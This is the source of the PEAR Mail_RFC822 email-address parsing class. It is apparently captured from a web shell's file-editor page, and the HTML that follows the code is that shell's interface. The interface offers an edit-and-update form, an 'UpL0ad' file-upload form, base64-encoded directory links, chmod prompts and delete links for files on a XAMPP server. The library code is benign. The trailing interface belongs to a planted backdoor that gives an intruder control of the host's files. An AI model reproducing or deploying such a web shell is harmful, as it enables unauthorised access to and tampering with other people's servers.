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/**
 * RFC 822 Email address list validation Utility
 *
 * PHP versions 4 and 5
 *
 * LICENSE:
 *
 * Copyright (c) 2001-2010, Richard Heyes
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * o Redistributions of source code must retain the above copyright
 *   notice, this list of conditions and the following disclaimer.
 * o Redistributions in binary form must reproduce the above copyright
 *   notice, this list of conditions and the following disclaimer in the
 *   documentation and/or other materials provided with the distribution.
 * o The names of the authors may not be used to endorse or promote
 *   products derived from this software without specific prior written
 *   permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * &quot;AS IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @category    Mail
 * @package     Mail
 * @author      Richard Heyes &lt;richard@phpguru.org&gt;
 * @author      Chuck Hagenbuch &lt;chuck@horde.org
 * @copyright   2001-2010 Richard Heyes
 * @license     http://opensource.org/licenses/bsd-license.php New BSD License
 * @version     CVS: $Id: RFC822.php 294749 2010-02-08 08:22:25Z clockwerx $
 * @link        http://pear.php.net/package/Mail/
 */

/**
 * RFC 822 Email address list validation Utility
 *
 * What is it?
 *
 * This class will take an address string, and parse it into it's consituent
 * parts, be that either addresses, groups, or combinations. Nested groups
 * are not supported. The structure it returns is pretty straight forward,
 * and is similar to that provided by the imap_rfc822_parse_adrlist(). Use
 * print_r() to view the structure.
 *
 * How do I use it?
 *
 * $address_string = 'My Group: &quot;Richard&quot; &lt;richard@localhost&gt; (A comment), ted@example.com (Ted Bloggs), Barney;';
 * $structure = Mail_RFC822::parseAddressList($address_string, 'example.com', true)
 * print_r($structure);
 *
 * @author  Richard Heyes &lt;richard@phpguru.org&gt;
 * @author  Chuck Hagenbuch &lt;chuck@horde.org&gt;
 * @version $Revision: 294749 $
 * @license BSD
 * @package Mail
 */
class Mail_RFC822 {

    /**
     * The address being parsed by the RFC822 object.
     * @var string $address
     */
    var $address = '';

    /**
     * The default domain to use for unqualified addresses.
     * @var string $default_domain
     */
    var $default_domain = 'localhost';

    /**
     * Should we return a nested array showing groups, or flatten everything?
     * @var boolean $nestGroups
     */
    var $nestGroups = true;

    /**
     * Whether or not to validate atoms for non-ascii characters.
     * @var boolean $validate
     */
    var $validate = true;

    /**
     * The array of raw addresses built up as we parse.
     * @var array $addresses
     */
    var $addresses = array();

    /**
     * The final array of parsed address information that we build up.
     * @var array $structure
     */
    var $structure = array();

    /**
     * The current error message, if any.
     * @var string $error
     */
    var $error = null;

    /**
     * An internal counter/pointer.
     * @var integer $index
     */
    var $index = null;

    /**
     * The number of groups that have been found in the address list.
     * @var integer $num_groups
     * @access public
     */
    var $num_groups = 0;

    /**
     * A variable so that we can tell whether or not we're inside a
     * Mail_RFC822 object.
     * @var boolean $mailRFC822
     */
    var $mailRFC822 = true;

    /**
    * A limit after which processing stops
    * @var int $limit
    */
    var $limit = null;

    /**
     * Sets up the object. The address must either be set here or when
     * calling parseAddressList(). One or the other.
     *
     * @access public
     * @param string  $address         The address(es) to validate.
     * @param string  $default_domain  Default domain/host etc. If not supplied, will be set to localhost.
     * @param boolean $nest_groups     Whether to return the structure with groups nested for easier viewing.
     * @param boolean $validate        Whether to validate atoms. Turn this off if you need to run addresses through before encoding the personal names, for instance.
     *
     * @return object Mail_RFC822 A new Mail_RFC822 object.
     */
    function Mail_RFC822($address = null, $default_domain = null, $nest_groups = null, $validate = null, $limit = null)
    {
        if (isset($address))        $this-&gt;address        = $address;
        if (isset($default_domain)) $this-&gt;default_domain = $default_domain;
        if (isset($nest_groups))    $this-&gt;nestGroups     = $nest_groups;
        if (isset($validate))       $this-&gt;validate       = $validate;
        if (isset($limit))          $this-&gt;limit          = $limit;
    }

    /**
     * Starts the whole process. The address must either be set here
     * or when creating the object. One or the other.
     *
     * @access public
     * @param string  $address         The address(es) to validate.
     * @param string  $default_domain  Default domain/host etc.
     * @param boolean $nest_groups     Whether to return the structure with groups nested for easier viewing.
     * @param boolean $validate        Whether to validate atoms. Turn this off if you need to run addresses through before encoding the personal names, for instance.
     *
     * @return array A structured array of addresses.
     */
    function parseAddressList($address = null, $default_domain = null, $nest_groups = null, $validate = null, $limit = null)
    {
        if (!isset($this) || !isset($this-&gt;mailRFC822)) {
            $obj = new Mail_RFC822($address, $default_domain, $nest_groups, $validate, $limit);
            return $obj-&gt;parseAddressList();
        }

        if (isset($address))        $this-&gt;address        = $address;
        if (isset($default_domain)) $this-&gt;default_domain = $default_domain;
        if (isset($nest_groups))    $this-&gt;nestGroups     = $nest_groups;
        if (isset($validate))       $this-&gt;validate       = $validate;
        if (isset($limit))          $this-&gt;limit          = $limit;

        $this-&gt;structure  = array();
        $this-&gt;addresses  = array();
        $this-&gt;error      = null;
        $this-&gt;index      = null;

        // Unfold any long lines in $this-&gt;address.
        $this-&gt;address = preg_replace('/\r?\n/', &quot;\r\n&quot;, $this-&gt;address);
        $this-&gt;address = preg_replace('/\r\n(\t| )+/', ' ', $this-&gt;address);

        while ($this-&gt;address = $this-&gt;_splitAddresses($this-&gt;address));

        if ($this-&gt;address === false || isset($this-&gt;error)) {
            require_once 'PEAR.php';
            return PEAR::raiseError($this-&gt;error);
        }

        // Validate each address individually.  If we encounter an invalid
        // address, stop iterating and return an error immediately.
        foreach ($this-&gt;addresses as $address) {
            $valid = $this-&gt;_validateAddress($address);

            if ($valid === false || isset($this-&gt;error)) {
                require_once 'PEAR.php';
                return PEAR::raiseError($this-&gt;error);
            }

            if (!$this-&gt;nestGroups) {
                $this-&gt;structure = array_merge($this-&gt;structure, $valid);
            } else {
                $this-&gt;structure[] = $valid;
            }
        }

        return $this-&gt;structure;
    }

    /**
     * Splits an address into separate addresses.
     *
     * @access private
     * @param string $address The addresses to split.
     * @return boolean Success or failure.
     */
    function _splitAddresses($address)
    {
        if (!empty($this-&gt;limit) &amp;&amp; count($this-&gt;addresses) == $this-&gt;limit) {
            return '';
        }

        if ($this-&gt;_isGroup($address) &amp;&amp; !isset($this-&gt;error)) {
            $split_char = ';';
            $is_group   = true;
        } elseif (!isset($this-&gt;error)) {
            $split_char = ',';
            $is_group   = false;
        } elseif (isset($this-&gt;error)) {
            return false;
        }

        // Split the string based on the above ten or so lines.
        $parts  = explode($split_char, $address);
        $string = $this-&gt;_splitCheck($parts, $split_char);

        // If a group...
        if ($is_group) {
            // If $string does not contain a colon outside of
            // brackets/quotes etc then something's fubar.

            // First check there's a colon at all:
            if (strpos($string, ':') === false) {
                $this-&gt;error = 'Invalid address: ' . $string;
                return false;
            }

            // Now check it's outside of brackets/quotes:
            if (!$this-&gt;_splitCheck(explode(':', $string), ':')) {
                return false;
            }

            // We must have a group at this point, so increase the counter:
            $this-&gt;num_groups++;
        }

        // $string now contains the first full address/group.
        // Add to the addresses array.
        $this-&gt;addresses[] = array(
                                   'address' =&gt; trim($string),
                                   'group'   =&gt; $is_group
                                   );

        // Remove the now stored address from the initial line, the +1
        // is to account for the explode character.
        $address = trim(substr($address, strlen($string) + 1));

        // If the next char is a comma and this was a group, then
        // there are more addresses, otherwise, if there are any more
        // chars, then there is another address.
        if ($is_group &amp;&amp; substr($address, 0, 1) == ','){
            $address = trim(substr($address, 1));
            return $address;

        } elseif (strlen($address) &gt; 0) {
            return $address;

        } else {
            return '';
        }

        // If you got here then something's off
        return false;
    }

    /**
     * Checks for a group at the start of the string.
     *
     * @access private
     * @param string $address The address to check.
     * @return boolean Whether or not there is a group at the start of the string.
     */
    function _isGroup($address)
    {
        // First comma not in quotes, angles or escaped:
        $parts  = explode(',', $address);
        $string = $this-&gt;_splitCheck($parts, ',');

        // Now we have the first address, we can reliably check for a
        // group by searching for a colon that's not escaped or in
        // quotes or angle brackets.
        if (count($parts = explode(':', $string)) &gt; 1) {
            $string2 = $this-&gt;_splitCheck($parts, ':');
            return ($string2 !== $string);
        } else {
            return false;
        }
    }

    /**
     * A common function that will check an exploded string.
     *
     * @access private
     * @param array $parts The exloded string.
     * @param string $char  The char that was exploded on.
     * @return mixed False if the string contains unclosed quotes/brackets, or the string on success.
     */
    function _splitCheck($parts, $char)
    {
        $string = $parts[0];

        for ($i = 0; $i &lt; count($parts); $i++) {
            if ($this-&gt;_hasUnclosedQuotes($string)
                || $this-&gt;_hasUnclosedBrackets($string, '&lt;&gt;')
                || $this-&gt;_hasUnclosedBrackets($string, '[]')
                || $this-&gt;_hasUnclosedBrackets($string, '()')
                || substr($string, -1) == '\\') {
                if (isset($parts[$i + 1])) {
                    $string = $string . $char . $parts[$i + 1];
                } else {
                    $this-&gt;error = 'Invalid address spec. Unclosed bracket or quotes';
                    return false;
                }
            } else {
                $this-&gt;index = $i;
                break;
            }
        }

        return $string;
    }

    /**
     * Checks if a string has unclosed quotes or not.
     *
     * @access private
     * @param string $string  The string to check.
     * @return boolean  True if there are unclosed quotes inside the string,
     *                  false otherwise.
     */
    function _hasUnclosedQuotes($string)
    {
        $string = trim($string);
        $iMax = strlen($string);
        $in_quote = false;
        $i = $slashes = 0;

        for (; $i &lt; $iMax; ++$i) {
            switch ($string[$i]) {
            case '\\':
                ++$slashes;
                break;

            case '&quot;':
                if ($slashes % 2 == 0) {
                    $in_quote = !$in_quote;
                }
                // Fall through to default action below.

            default:
                $slashes = 0;
                break;
            }
        }

        return $in_quote;
    }

    /**
     * Checks if a string has an unclosed brackets or not. IMPORTANT:
     * This function handles both angle brackets and square brackets;
     *
     * @access private
     * @param string $string The string to check.
     * @param string $chars  The characters to check for.
     * @return boolean True if there are unclosed brackets inside the string, false otherwise.
     */
    function _hasUnclosedBrackets($string, $chars)
    {
        $num_angle_start = substr_count($string, $chars[0]);
        $num_angle_end   = substr_count($string, $chars[1]);

        $this-&gt;_hasUnclosedBracketsSub($string, $num_angle_start, $chars[0]);
        $this-&gt;_hasUnclosedBracketsSub($string, $num_angle_end, $chars[1]);

        if ($num_angle_start &lt; $num_angle_end) {
            $this-&gt;error = 'Invalid address spec. Unmatched quote or bracket (' . $chars . ')';
            return false;
        } else {
            return ($num_angle_start &gt; $num_angle_end);
        }
    }

    /**
     * Sub function that is used only by hasUnclosedBrackets().
     *
     * @access private
     * @param string $string The string to check.
     * @param integer &amp;$num    The number of occurences.
     * @param string $char   The character to count.
     * @return integer The number of occurences of $char in $string, adjusted for backslashes.
     */
    function _hasUnclosedBracketsSub($string, &amp;$num, $char)
    {
        $parts = explode($char, $string);
        for ($i = 0; $i &lt; count($parts); $i++){
            if (substr($parts[$i], -1) == '\\' || $this-&gt;_hasUnclosedQuotes($parts[$i]))
                $num--;
            if (isset($parts[$i + 1]))
                $parts[$i + 1] = $parts[$i] . $char . $parts[$i + 1];
        }

        return $num;
    }

    /**
     * Function to begin checking the address.
     *
     * @access private
     * @param string $address The address to validate.
     * @return mixed False on failure, or a structured array of address information on success.
     */
    function _validateAddress($address)
    {
        $is_group = false;
        $addresses = array();

        if ($address['group']) {
            $is_group = true;

            // Get the group part of the name
            $parts     = explode(':', $address['address']);
            $groupname = $this-&gt;_splitCheck($parts, ':');
            $structure = array();

            // And validate the group part of the name.
            if (!$this-&gt;_validatePhrase($groupname)){
                $this-&gt;error = 'Group name did not validate.';
                return false;
            } else {
                // Don't include groups if we are not nesting
                // them. This avoids returning invalid addresses.
                if ($this-&gt;nestGroups) {
                    $structure = new stdClass;
                    $structure-&gt;groupname = $groupname;
                }
            }

            $address['address'] = ltrim(substr($address['address'], strlen($groupname . ':')));
        }

        // If a group then split on comma and put into an array.
        // Otherwise, Just put the whole address in an array.
        if ($is_group) {
            while (strlen($address['address']) &gt; 0) {
                $parts       = explode(',', $address['address']);
                $addresses[] = $this-&gt;_splitCheck($parts, ',');
                $address['address'] = trim(substr($address['address'], strlen(end($addresses) . ',')));
            }
        } else {
            $addresses[] = $address['address'];
        }

        // Check that $addresses is set, if address like this:
        // Groupname:;
        // Then errors were appearing.
        if (!count($addresses)){
            $this-&gt;error = 'Empty group.';
            return false;
        }

        // Trim the whitespace from all of the address strings.
        array_map('trim', $addresses);

        // Validate each mailbox.
        // Format could be one of: name &lt;geezer@domain.com&gt;
        //                         geezer@domain.com
        //                         geezer
        // ... or any other format valid by RFC 822.
        for ($i = 0; $i &lt; count($addresses); $i++) {
            if (!$this-&gt;validateMailbox($addresses[$i])) {
                if (empty($this-&gt;error)) {
                    $this-&gt;error = 'Validation failed for: ' . $addresses[$i];
                }
                return false;
            }
        }

        // Nested format
        if ($this-&gt;nestGroups) {
            if ($is_group) {
                $structure-&gt;addresses = $addresses;
            } else {
                $structure = $addresses[0];
            }

        // Flat format
        } else {
            if ($is_group) {
                $structure = array_merge($structure, $addresses);
            } else {
                $structure = $addresses;
            }
        }

        return $structure;
    }

    /**
     * Function to validate a phrase.
     *
     * @access private
     * @param string $phrase The phrase to check.
     * @return boolean Success or failure.
     */
    function _validatePhrase($phrase)
    {
        // Splits on one or more Tab or space.
        $parts = preg_split('/[ \\x09]+/', $phrase, -1, PREG_SPLIT_NO_EMPTY);

        $phrase_parts = array();
        while (count($parts) &gt; 0){
            $phrase_parts[] = $this-&gt;_splitCheck($parts, ' ');
            for ($i = 0; $i &lt; $this-&gt;index + 1; $i++)
                array_shift($parts);
        }

        foreach ($phrase_parts as $part) {
            // If quoted string:
            if (substr($part, 0, 1) == '&quot;') {
                if (!$this-&gt;_validateQuotedString($part)) {
                    return false;
                }
                continue;
            }

            // Otherwise it's an atom:
            if (!$this-&gt;_validateAtom($part)) return false;
        }

        return true;
    }

    /**
     * Function to validate an atom which from rfc822 is:
     * atom = 1*&lt;any CHAR except specials, SPACE and CTLs&gt;
     *
     * If validation ($this-&gt;validate) has been turned off, then
     * validateAtom() doesn't actually check anything. This is so that you
     * can split a list of addresses up before encoding personal names
     * (umlauts, etc.), for example.
     *
     * @access private
     * @param string $atom The string to check.
     * @return boolean Success or failure.
     */
    function _validateAtom($atom)
    {
        if (!$this-&gt;validate) {
            // Validation has been turned off; assume the atom is okay.
            return true;
        }

        // Check for any char from ASCII 0 - ASCII 127
        if (!preg_match('/^[\\x00-\\x7E]+$/i', $atom, $matches)) {
            return false;
        }

        // Check for specials:
        if (preg_match('/[][()&lt;&gt;@,;\\:&quot;. ]/', $atom)) {
            return false;
        }

        // Check for control characters (ASCII 0-31):
        if (preg_match('/[\\x00-\\x1F]+/', $atom)) {
            return false;
        }

        return true;
    }

    /**
     * Function to validate quoted string, which is:
     * quoted-string = &lt;&quot;&gt; *(qtext/quoted-pair) &lt;&quot;&gt;
     *
     * @access private
     * @param string $qstring The string to check
     * @return boolean Success or failure.
     */
    function _validateQuotedString($qstring)
    {
        // Leading and trailing &quot;
        $qstring = substr($qstring, 1, -1);

        // Perform check, removing quoted characters first.
        return !preg_match('/[\x0D\\\\&quot;]/', preg_replace('/\\\\./', '', $qstring));
    }

    /**
     * Function to validate a mailbox, which is:
     * mailbox =   addr-spec         ; simple address
     *           / phrase route-addr ; name and route-addr
     *
     * @access public
     * @param string &amp;$mailbox The string to check.
     * @return boolean Success or failure.
     */
    function validateMailbox(&amp;$mailbox)
    {
        // A couple of defaults.
        $phrase  = '';
        $comment = '';
        $comments = array();

        // Catch any RFC822 comments and store them separately.
        $_mailbox = $mailbox;
        while (strlen(trim($_mailbox)) &gt; 0) {
            $parts = explode('(', $_mailbox);
            $before_comment = $this-&gt;_splitCheck($parts, '(');
            if ($before_comment != $_mailbox) {
                // First char should be a (.
                $comment    = substr(str_replace($before_comment, '', $_mailbox), 1);
                $parts      = explode(')', $comment);
                $comment    = $this-&gt;_splitCheck($parts, ')');
                $comments[] = $comment;

                // +2 is for the brackets
                $_mailbox = substr($_mailbox, strpos($_mailbox, '('.$comment)+strlen($comment)+2);
            } else {
                break;
            }
        }

        foreach ($comments as $comment) {
            $mailbox = str_replace(&quot;($comment)&quot;, '', $mailbox);
        }

        $mailbox = trim($mailbox);

        // Check for name + route-addr
        if (substr($mailbox, -1) == '&gt;' &amp;&amp; substr($mailbox, 0, 1) != '&lt;') {
            $parts  = explode('&lt;', $mailbox);
            $name   = $this-&gt;_splitCheck($parts, '&lt;');

            $phrase     = trim($name);
            $route_addr = trim(substr($mailbox, strlen($name.'&lt;'), -1));

            if ($this-&gt;_validatePhrase($phrase) === false || ($route_addr = $this-&gt;_validateRouteAddr($route_addr)) === false) {
                return false;
            }

        // Only got addr-spec
        } else {
            // First snip angle brackets if present.
            if (substr($mailbox, 0, 1) == '&lt;' &amp;&amp; substr($mailbox, -1) == '&gt;') {
                $addr_spec = substr($mailbox, 1, -1);
            } else {
                $addr_spec = $mailbox;
            }

            if (($addr_spec = $this-&gt;_validateAddrSpec($addr_spec)) === false) {
                return false;
            }
        }

        // Construct the object that will be returned.
        $mbox = new stdClass();

        // Add the phrase (even if empty) and comments
        $mbox-&gt;personal = $phrase;
        $mbox-&gt;comment  = isset($comments) ? $comments : array();

        if (isset($route_addr)) {
            $mbox-&gt;mailbox = $route_addr['local_part'];
            $mbox-&gt;host    = $route_addr['domain'];
            $route_addr['adl'] !== '' ? $mbox-&gt;adl = $route_addr['adl'] : '';
        } else {
            $mbox-&gt;mailbox = $addr_spec['local_part'];
            $mbox-&gt;host    = $addr_spec['domain'];
        }

        $mailbox = $mbox;
        return true;
    }

    /**
     * This function validates a route-addr which is:
     * route-addr = &quot;&lt;&quot; [route] addr-spec &quot;&gt;&quot;
     *
     * Angle brackets have already been removed at the point of
     * getting to this function.
     *
     * @access private
     * @param string $route_addr The string to check.
     * @return mixed False on failure, or an array containing validated address/route information on success.
     */
    function _validateRouteAddr($route_addr)
    {
        // Check for colon.
        if (strpos($route_addr, ':') !== false) {
            $parts = explode(':', $route_addr);
            $route = $this-&gt;_splitCheck($parts, ':');
        } else {
            $route = $route_addr;
        }

        // If $route is same as $route_addr then the colon was in
        // quotes or brackets or, of course, non existent.
        if ($route === $route_addr){
            unset($route);
            $addr_spec = $route_addr;
            if (($addr_spec = $this-&gt;_validateAddrSpec($addr_spec)) === false) {
                return false;
            }
        } else {
            // Validate route part.
            if (($route = $this-&gt;_validateRoute($route)) === false) {
                return false;
            }

            $addr_spec = substr($route_addr, strlen($route . ':'));

            // Validate addr-spec part.
            if (($addr_spec = $this-&gt;_validateAddrSpec($addr_spec)) === false) {
                return false;
            }
        }

        if (isset($route)) {
            $return['adl'] = $route;
        } else {
            $return['adl'] = '';
        }

        $return = array_merge($return, $addr_spec);
        return $return;
    }

    /**
     * Function to validate a route, which is:
     * route = 1#(&quot;@&quot; domain) &quot;:&quot;
     *
     * @access private
     * @param string $route The string to check.
     * @return mixed False on failure, or the validated $route on success.
     */
    function _validateRoute($route)
    {
        // Split on comma.
        $domains = explode(',', trim($route));

        foreach ($domains as $domain) {
            $domain = str_replace('@', '', trim($domain));
            if (!$this-&gt;_validateDomain($domain)) return false;
        }

        return $route;
    }

    /**
     * Function to validate a domain, though this is not quite what
     * you expect of a strict internet domain.
     *
     * domain = sub-domain *(&quot;.&quot; sub-domain)
     *
     * @access private
     * @param string $domain The string to check.
     * @return mixed False on failure, or the validated domain on success.
     */
    function _validateDomain($domain)
    {
        // Note the different use of $subdomains and $sub_domains
        $subdomains = explode('.', $domain);

        while (count($subdomains) &gt; 0) {
            $sub_domains[] = $this-&gt;_splitCheck($subdomains, '.');
            for ($i = 0; $i &lt; $this-&gt;index + 1; $i++)
                array_shift($subdomains);
        }

        foreach ($sub_domains as $sub_domain) {
            if (!$this-&gt;_validateSubdomain(trim($sub_domain)))
                return false;
        }

        // Managed to get here, so return input.
        return $domain;
    }

    /**
     * Function to validate a subdomain:
     *   subdomain = domain-ref / domain-literal
     *
     * @access private
     * @param string $subdomain The string to check.
     * @return boolean Success or failure.
     */
    function _validateSubdomain($subdomain)
    {
        if (preg_match('|^\[(.*)]$|', $subdomain, $arr)){
            if (!$this-&gt;_validateDliteral($arr[1])) return false;
        } else {
            if (!$this-&gt;_validateAtom($subdomain)) return false;
        }

        // Got here, so return successful.
        return true;
    }

    /**
     * Function to validate a domain literal:
     *   domain-literal =  &quot;[&quot; *(dtext / quoted-pair) &quot;]&quot;
     *
     * @access private
     * @param string $dliteral The string to check.
     * @return boolean Success or failure.
     */
    function _validateDliteral($dliteral)
    {
        return !preg_match('/(.)[][\x0D\\\\]/', $dliteral, $matches) &amp;&amp; $matches[1] != '\\';
    }

    /**
     * Function to validate an addr-spec.
     *
     * addr-spec = local-part &quot;@&quot; domain
     *
     * @access private
     * @param string $addr_spec The string to check.
     * @return mixed False on failure, or the validated addr-spec on success.
     */
    function _validateAddrSpec($addr_spec)
    {
        $addr_spec = trim($addr_spec);

        // Split on @ sign if there is one.
        if (strpos($addr_spec, '@') !== false) {
            $parts      = explode('@', $addr_spec);
            $local_part = $this-&gt;_splitCheck($parts, '@');
            $domain     = substr($addr_spec, strlen($local_part . '@'));

        // No @ sign so assume the default domain.
        } else {
            $local_part = $addr_spec;
            $domain     = $this-&gt;default_domain;
        }

        if (($local_part = $this-&gt;_validateLocalPart($local_part)) === false) return false;
        if (($domain     = $this-&gt;_validateDomain($domain)) === false) return false;

        // Got here so return successful.
        return array('local_part' =&gt; $local_part, 'domain' =&gt; $domain);
    }

    /**
     * Function to validate the local part of an address:
     *   local-part = word *(&quot;.&quot; word)
     *
     * @access private
     * @param string $local_part
     * @return mixed False on failure, or the validated local part on success.
     */
    function _validateLocalPart($local_part)
    {
        $parts = explode('.', $local_part);
        $words = array();

        // Split the local_part into words.
        while (count($parts) &gt; 0){
            $words[] = $this-&gt;_splitCheck($parts, '.');
            for ($i = 0; $i &lt; $this-&gt;index + 1; $i++) {
                array_shift($parts);
            }
        }

        // Validate each word.
        foreach ($words as $word) {
            // If this word contains an unquoted space, it is invalid. (6.2.4)
            if (strpos($word, ' ') &amp;&amp; $word[0] !== '&quot;')
            {
                return false;
            }

            if ($this-&gt;_validatePhrase(trim($word)) === false) return false;
        }

        // Managed to get here, so return the input.
        return $local_part;
    }

    /**
     * Returns an approximate count of how many addresses are in the
     * given string. This is APPROXIMATE as it only splits based on a
     * comma which has no preceding backslash. Could be useful as
     * large amounts of addresses will end up producing *large*
     * structures when used with parseAddressList().
     *
     * @param  string $data Addresses to count
     * @return int          Approximate count
     */
    function approximateCount($data)
    {
        return count(preg_split('/(?&lt;!\\\\),/', $data));
    }

    /**
     * This is a email validating function separate to the rest of the
     * class. It simply validates whether an email is of the common
     * internet form: &lt;user&gt;@&lt;domain&gt;. This can be sufficient for most
     * people. Optional stricter mode can be utilised which restricts
     * mailbox characters allowed to alphanumeric, full stop, hyphen
     * and underscore.
     *
     * @param  string  $data   Address to check
     * @param  boolean $strict Optional stricter mode
     * @return mixed           False if it fails, an indexed array
     *                         username/domain if it matches
     */
    function isValidInetAddress($data, $strict = false)
    {
        $regex = $strict ? '/^([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})$/i' : '/^([*+!.&amp;#$|\'\\%\/0-9a-z^_`{}=?~:-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})$/i';
        if (preg_match($regex, trim($data), $matches)) {
            return array($matches[1], $matches[2]);
        } else {
            return false;
        }
    }

}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=QzpceGFtcHBcaHdzb2Z0">C:\xampp\hwsoft</a><hr>curdir: C:\xampp\php\pear\Mail<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=Lg==&c=`+btoa(c):0" value="0777"></td><td>4096</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=Li4=&c=`+btoa(c):0" value="0777"></td><td>16384</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbFxRdWV1ZQ=="/>Queue</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=UXVldWU=&c=`+btoa(c):0" value="0777"></td><td>0</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&x=UkZDODIyLnBocA==">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=UkZDODIyLnBocA=="/>RFC822.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=UkZDODIyLnBocA==&c=`+btoa(c):0" value="0666"></td><td>31963</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&x=bWFpbC5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=bWFpbC5waHA="/>mail.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=bWFpbC5waHA=&c=`+btoa(c):0" value="0666"></td><td>6245</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&x=bWltZVBhcnQucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=bWltZVBhcnQucGhw"/>mimePart.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=bWltZVBhcnQucGhw&c=`+btoa(c):0" value="0666"></td><td>44654</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&x=bW9jay5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=bW9jay5waHA="/>mock.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=bW9jay5waHA=&c=`+btoa(c):0" value="0666"></td><td>4999</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&x=bnVsbC5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=bnVsbC5waHA="/>null.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=bnVsbC5waHA=&c=`+btoa(c):0" value="0666"></td><td>3308</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&x=c2VuZG1haWwucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=c2VuZG1haWwucGhw"/>sendmail.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWFpbA==&f=c2VuZG1haWwucGhw&c=`+btoa(c):0" value="0666"></td><td>6638</td></tr></table>